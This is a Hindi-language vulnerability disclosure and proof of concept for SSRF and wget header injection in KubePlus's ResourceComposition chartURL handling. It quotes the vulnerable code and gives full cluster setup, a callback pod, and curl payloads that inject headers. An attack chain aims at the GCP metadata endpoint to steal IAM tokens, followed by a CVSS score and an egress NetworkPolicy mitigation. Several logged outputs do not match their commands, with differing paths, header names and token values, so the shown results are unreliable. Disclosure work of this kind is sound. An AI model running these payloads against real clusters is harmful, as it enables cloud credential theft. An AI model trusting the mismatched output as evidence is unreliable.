
प्रूफ-ऑफ-कॉन्सेप्ट जो KubePlus ResourceComposition में SSRF और HTTP हेडर इंजेक्शन का प्रदर्शन करता है, जिससे क्लाउड मेटाडेटा एक्सेस और IAM क्रेडेंशियल चोरी संभव होती है।
यह भेद्यता KubePlus के ResourceComposition संसाधन हैंडलिंग घटक में मौजूद है, जो Provider विशेषाधिकारों वाले हमलावर को दुर्भावनापूर्ण chartURL पैरामीटर बनाकर SSRF के माध्यम से आंतरिक सेवाओं तक पहुंचने की अनुमति देती है, और wget कमांड इंजेक्शन के माध्यम से मनमाने HTTP अनुरोध हेडर इंजेक्ट करने की अनुमति देती है। यह हमलावरों को विशिष्ट हेडर की आवश्यकता वाली क्लाउड मेटाडेटा सेवाओं तक पहुंचने में सक्षम बनाता है (जैसे, GCP को Metadata-Flavor: Google हेडर की आवश्यकता होती है), जिससे IAM क्रेडेंशियल चोरी हो सकते हैं। रिपोर्टिंग के लिए अनुशंसित CWE: CWE-918 (सर्वर-साइड रिक्वेस्ट फोर्जरी)।
KubePlus mutating webhook और kubeconfiggenerator घटकों में ResourceComposition संसाधनों के chartURL फ़ील्ड को संसाधित करते समय SSRF भेद्यता है। फ़ील्ड केवल URL-एन्कोडेड है, लक्ष्य पते को मान्य नहीं किया जाता है। अधिक महत्वपूर्ण रूप से, जब kubeconfiggenerator चार्ट डाउनलोड करने के लिए wget का उपयोग करता है, तो chartURL सीधे कमांड में जोड़ा जाता है, जिससे हमलावर wget के --header विकल्प को इंजेक्ट करके मनमाना HTTP हेडर इंजेक्शन प्राप्त कर सकते हैं।
SSRF प्रवेश बिंदु - mutating-webhook/utils.go:986-995:
func LintChart(chartURL string) []byte {
encodedChartURL := url.QueryEscape(chartURL)
args := fmt.Sprintf("chartURL=%s", encodedChartURL)
var url1 string
url1 = fmt.Sprintf("http://%s:%s/dryrunchart?%s", serviceHost, verificationServicePort, args)
body := queryKubeDiscoveryService(url1)
return body
}
हेडर इंजेक्शन बिंदु - deploy/kubeconfiggenerator.py:552-558:
def download_and_untar_chart(chartLoc, chartName):
if chartLoc.startswith("https"):
charttgz = chartName + ".tgz"
wget = "wget -O /" + charttgz + " --no-check-certificate " + chartLoc
out, err = run_command(wget)
chartURL सीधे wget कमांड में जोड़ा जाता है, जिससे हमलावर --header विकल्प इंजेक्ट कर सकते हैं।
--header विकल्प इंजेक्ट करके, मनमाने HTTP अनुरोध हेडर जोड़े जा सकते हैंkind create cluster --name kubeplus-test
helm repo add kubeplus https://cloud-ark.github.io/kubeplus
helm install kubeplus kubeplus/kubeplus -n default
kubectl wait --for=condition=Ready pod -l app=kubeplus --timeout=300s
python3 provider-kubeconfig.py create default
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
name: ssrf-callback
labels:
app: ssrf-callback
spec:
containers:
- name: callback
image: python:3.9-slim
command: ["python3", "-c", "
from http.server import HTTPServer, BaseHTTPRequestHandler
from datetime import datetime
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
print(f'[{datetime.now()}] GET {self.path}')
print('Headers:')
for h, v in self.headers.items():
print(f' {h}: {v}')
self.send_response(200)
self.end_headers()
self.wfile.write(b'OK')
HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()
"]
ports:
- containerPort: 8080
---
apiVersion: v1
kind: Service
metadata:
name: ssrf-callback
spec:
selector:
app: ssrf-callback
ports:
- port: 8080
EOF
# SSRF पेलोड के साथ ResourceComposition बनाएं
kubectl --kubeconfig=/tmp/provider.kubeconfig apply -f - <<EOF
apiVersion: workflows.kubeplus/v1alpha1
kind: ResourceComposition
metadata:
name: ssrf-test
spec:
newResource:
resource:
kind: SsrfApp
group: ssrf.kubeplus
version: v1
plural: ssrfapps
chartURL: "http://ssrf-callback.default.svc:8080/ssrf-test"
chartName: ssrf-test
EOF
कॉलबैक सर्वर लॉग आउटपुट:
[2026-02-01T15:48:02.514357] GET /ssrf-basic-test
Headers:
Host: ssrf-callback.default.svc:8080
User-Agent: Helm/3.12.1
# kubeconfighelper के लिए पोर्ट फ़ॉरवर्डिंग सेट करें
kubectl port-forward svc/kubeconfighelper 5005:91 &
# Metadata-Flavor हेडर इंजेक्ट करें (GCP मेटाडेटा सेवा के लिए आवश्यक)
PAYLOAD='https://fake --header "Metadata-Flavor: Google" http://ssrf-callback.default.svc:8080/header-test'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD', safe=''))")
curl "http://localhost:5005/registercrd?kind=Test&version=v1&group=test.kubeplus&plural=tests&chartURL=$ENCODED&chartName=test"
कॉलबैक सर्वर लॉग आउटपुट:
[2026-02-01T15:50:13.988222] GET /header-injection-test
Headers:
Host: ssrf-callback.default.svc:8080
User-Agent: Wget/1.21.2
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Metadata-Flavor: Google
PAYLOAD='https://fake --header "X-Custom-1: Value1" --header "Authorization: Bearer token" http://ssrf-callback.default.svc:8080/multi-header'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD', safe=''))")
curl "http://localhost:5005/registercrd?kind=Multi&version=v1&group=multi.kubeplus&plural=multis&chartURL=$ENCODED&chartName=multi"
कॉलबैक सर्वर लॉग आउटपुट:
[2026-02-01T15:50:38.565682] GET /multi-header-test
Headers:
Host: ssrf-callback.default.svc:8080
User-Agent: Wget/1.21.2
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
X-Custom-Header-1: Value1
X-Custom-Header-2: Value2
Authorization: Bearer stolen-token
Metadata-Flavor: Google हेडर इंजेक्ट करके, GCP मेटाडेटा सेवा तक पहुंचा जा सकता हैहमलावर (Provider विशेषाधिकार)
|
v
ResourceComposition बनाएं (chartURL = "https://x --header 'Metadata-Flavor: Google' http://169.254.169.254/...")
|
v
KubePlus Webhook अनुरोध संसाधित करता है
|
v
kubeconfiggenerator निष्पादित करता है: wget -O /chart.tgz --no-check-certificate https://x --header "Metadata-Flavor: Google" http://169.254.169.254/...
|
v
GCP मेटाडेटा सेवा तक पहुंचें, IAM टोकन प्राप्त करें
|
v
क्लाउड संसाधनों तक पहुंचने के लिए IAM टोकन का उपयोग करें
CVSS 3.1 स्कोर: 8.5 (उच्च) वेक्टर: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: kubeplus-egress-restrict
spec:
podSelector:
matchLabels:
app: kubeplus
policyTypes:
- Egress
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 169.254.169.254/32
- 10.0.0.0/8
- 172.16.0.0/12
- 192.168.0.0/16
क्रेडिट: @b0b0haha ([email protected]) @lixingquzhi ([email protected])